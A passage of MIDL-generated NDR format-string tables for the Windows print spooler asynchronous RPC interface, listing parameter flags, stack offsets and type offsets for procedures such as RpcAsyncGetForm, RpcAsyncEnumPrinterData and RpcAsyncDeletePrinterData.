*/\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1356 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1358 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1362 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1364 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1366 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1368 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1370 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1372 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1374 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1378 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1380 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1384 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1386 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1388 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1390 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 1392 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1394 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetForm */\n\n/* 1398 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1400 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1404 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1406 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1408 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1410 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1412 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1414 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1416 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1418 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1420 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1422 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1424 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1428 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1430 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1432 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1434 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1436 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1438 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1440 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Level */\n\n/* 1442 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1444 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1446 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 1448 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1450 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1452 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 1454 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1456 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1460 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1462 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1464 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1466 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1468 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetForm */\n\n/* 1472 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1478 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1480 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1482 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1484 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1486 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1488 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1490 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1492 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1494 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1496 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1500 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1502 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1504 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1508 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pFormName */\n\n/* 1510 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1512 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1514 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1516 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1518 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1520 */\tNdrFcShort( 0x5b6 ),\t/* Type Offset=1462 */\n\n\t/* Return value */\n\n/* 1522 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1524 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumForms */\n\n/* 1528 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1530 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1534 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1536 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1538 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1542 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1544 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1546 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1548 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1550 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1552 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1554 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1560 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1564 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 1566 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 1572 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1574 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1576 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 1578 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1580 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1582 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1584 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1586 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 1590 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1592 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1596 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1598 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1600 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriver */\n\n/* 1602 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1604 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1608 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1610 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1612 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1614 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1616 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 1620 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 1622 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0xb,\t\t/* 11 */\n/* 1624 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1628 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1630 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1632 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1634 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1638 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pEnvironment */\n\n/* 1640 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1642 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1644 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1648 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 1652 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1654 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1656 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 1658 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1660 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1664 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1666 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1668 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMajorVersion */\n\n/* 1670 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1672 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1674 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwClientMinorVersion */\n\n/* 1676 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1678 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMaxVersion */\n\n/* 1682 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1684 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1686 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwServerMinVersion */\n\n/* 1688 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1690 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1694 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1696 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1698 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterData */\n\n/* 1700 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1702 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1706 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1708 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1710 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1712 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1714 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1716 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 1718 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 1720 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 1722 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1724 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1726 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1728 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1732 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1734 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1736 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter dwIndex */\n\n/* 1738 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1740 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1742 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pValueName */\n\n/* 1744 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1746 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1748 */\tNdrFcShort( 0x5ca ),\t/* Type Offset=1482 */\n\n\t/* Parameter cbValueName */\n\n/* 1750 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1752 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1754 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbValueName */\n\n/* 1756 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1758 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pType */\n\n/* 1762 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1764 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1766 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1768 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1770 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1772 */\tNdrFcShort( 0x5e4 ),\t/* Type Offset=1508 */\n\n\t/* Parameter cbData */\n\n/* 1774 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1776 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1778 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbData */\n\n/* 1780 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1782 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1784 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1786 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1788 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1790 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterDataEx */\n\n/* 1792 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1794 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1798 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1800 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1802 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1804 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1806 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1808 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1810 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1812 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1814 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1816 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1818 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1824 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1828 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1830 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1832 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1834 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pEnumValues */\n\n/* 1836 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1838 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1840 */\tNdrFcShort( 0x498 ),\t/* Type Offset=1176 */\n\n\t/* Parameter cbEnumValues */\n\n/* 1842 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1844 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1846 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbEnumValues */\n\n/* 1848 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1850 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1852 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pnEnumValues */\n\n/* 1854 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1856 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1858 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1860 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1862 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1864 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterKey */\n\n/* 1866 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1868 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1872 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1874 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1876 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1878 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1880 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1882 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1884 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1886 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1888 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1890 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1898 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1900 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1902 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1904 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1908 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pSubkey */\n\n/* 1910 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1912 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1914 */\tNdrFcShort( 0x5ca ),\t/* Type Offset=1482 */\n\n\t/* Parameter cbSubkey */\n\n/* 1916 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1918 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbSubkey */\n\n/* 1922 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1924 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1926 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1928 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1930 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterData */\n\n/* 1934 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1936 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1940 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1942 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1944 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1946 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1948 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1950 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1952 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1954 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1956 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1966 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1968 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1970 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 1972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1974 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1976 */\tNdrFcShort( 0x51a 